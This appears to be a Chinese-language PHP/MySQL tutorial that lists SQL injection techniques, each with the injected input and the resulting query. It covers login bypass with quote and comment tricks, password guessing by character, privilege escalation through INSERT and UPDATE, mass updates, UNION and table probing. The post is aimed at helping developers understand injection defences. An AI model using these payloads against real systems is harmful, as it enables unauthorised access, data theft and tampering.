(1)不用用户名和密码
1 //正常语句
2 $sql =”select * from phpben where user_name=’admin’
and pwd =’123′”;
3 //在用户名框输入’or’=’or’或 ‘or 1=’1 然后sql如下
4 $sql =”select * from phpben where user_name=’
‘or’=’or” and pwd =” “;
5 $sql =”select * from phpben where user_name=’
‘or 1=’1′ and pwd =” “;
这样不用输入密码。
(2)在不输入密码的情况下,利用某用户。
1 //正常语句
2 $sql =”select * from phpben where user_name=’$username’
and pwd =’$pwd'”;
3 //利用的用户名是benwin 则用户名框输入benwin’# 密码有无都可,
则$sql变成
4 $sql =”select * from phpben where user_name=’ benwin’
#’ and pwd =’$pwd'”;
这是因为mysql中其中的一个注悉是“#”,上面语句中#已经把后面的内容给注释掉,所以密码可以不输入或任意输入。网上有些人介绍说用“/*”来注悉,小编想提的是只有开始注悉没结束注悉“*/”时,mysql会报错,也不是说“/**/”不能注悉,而是这里很难添加上“*/”来结束注悉,还有“– ”也是可以注悉mysql 但要注意“–”后至少有一个空格也就是“– ”,当然防注入代码要把三种都考虑进来,值得一提的是很多防注入代码中没把“– ”考虑进防注入范围。
(3)猜解某用户密码
1 //正常语句
2 $sql =”select * from phpben.com where user_name=
’$username’ and pwd =’$pwd'”;
3 //在密码输入框中输入“benwin’ and left(pwd,1)=’p’#”,
则$sql是
4 $sql =”select * from phpben.com where user_name=
’ benwin’ and left(pwd,1)=’p’#’ and pwd =’$pwd'”;
如果运行正常则密码的密码第一个字符是p,同理猜解剩下字符。
(4)插入数据时提权
1 //正常语句,等级为1
2 $sql = “insert into phpben.com (`user_name`,`pwd`,
`level`) values(‘benwin’,’iampwd’,1) “;
3 //通过修改密码字符串把语句变成
4 $sql = “insert into phpben.com (`user_name`,`pwd`,
`level`) values(‘benwin’,’iampwd’,5)#’,1) “;
5 $sql = “insert into phpben.com (`user_name`,`pwd`,
`level`) values(‘benwin’,’iampwd’,5)– ‘,1) “;这样就把一个权限为1的用户提权到等级5
(5)更新提权和插入提权同理
1 //正常语句
2 $sql = “update phpben set `user_name` =’benwin’,
level=1″;
3 //通过输入用户名值最终得到的$sql
4 $sql = “update phpben set `user_name` =’benwin’,
level=5#’, level=1″;
5 $sql = “update phpben set `user_name` =’benwin’,
level=5– ‘, level=1″;
(6)恶意更新和删除
1 //正常语句
2 $sql = “update phpben set `user_name` = ‘benwin’ where
id =1″;
3 //注入后,恶意代码是“1 or id>0”
4 $sql = “update phpben set `user_name` = ‘benwin’ where
id =1 or id>0″;
5 //正常语句
6 $sql = “update phpben set `user_name` =’benwin’ where
id=1″;
7 //注入后
8 $sql = “update phpben set `user_name` =’benwin’ where
id>0#’ where id=1″;
9 $sql = “update phpben set `user_name` =’benwin’ where
id>0– ‘ where id=1″;
(7)union、join等
1 //正常语句
2 $sql =”select * from phpben1 where `user_name`=
’benwin’“;
3 //注入后
4 $sql =”select * from phpben1 where`user_name`=
’benwin’ uninon select * from phpben2#’ “;
5 $sql =”select * from phpben1 where`user_name`=
’benwin’ left join……#’ “;
(8)通配符号%、_
1 //正常语句
2 $sql =”select * from phpben where `user_name`=
’benwin’ “;
3 //注入通配符号%匹配多个字符,而一个_匹配一个字符,如__则匹配两个字符
4 $sql =”select * from phpben where `user_name`
like ‘%b’ “;
5 $sql =”select * from phpben where `user_name`
like ‘_b_’ “;
这样只要有一个用户名字是b开头的都能正常运行,“ _b_”是匹配三个字符,且这三个字符中间一个字符时b。这也是为什么有关addslashes()函数介绍时提示注意没有转义%和_(其实这个是很多phper不知问什么要过滤%和_下划线,只是一味的跟着网上代码走)
(9)还有很多猜测表信息的注入sql
1 //正常语句
2 $sql =”select * from phpben1 where`user_name`=
’benwin'”;
3 //猜表名,运行正常则说明存在phpben2表
4 $sql =”select * from phpben1 where`user_name`=
’benwin’ and (select count(*) from phpben2 )>0#’ “;
5 //猜表字段,运行正常则说明phpben2表中有字段colum1
6 $sql =”select * from phpben1 where`user_name`=
’benwin’ and (select count(colum1) from phpben2 )>0#'”;
7 //猜字段值
8 $sql =”select * from phpben1 where`user_name`=
’benwin’ and left(pwd,1)=’p’#””;
当然还有很多,这里提出这些都是比较常见的,也是phper应该知道并掌握的,而不是一味的在网上复制粘贴一些防注入代码,知然而不解其然。
END
| More ·精彩回顾 |
乡村网络安全意识培训专题会议成功召开
2020年需要关注的七个新增/热门网络安全认证
教育部:网络安全等16个领域纳入国家安全教育,大中小学全覆盖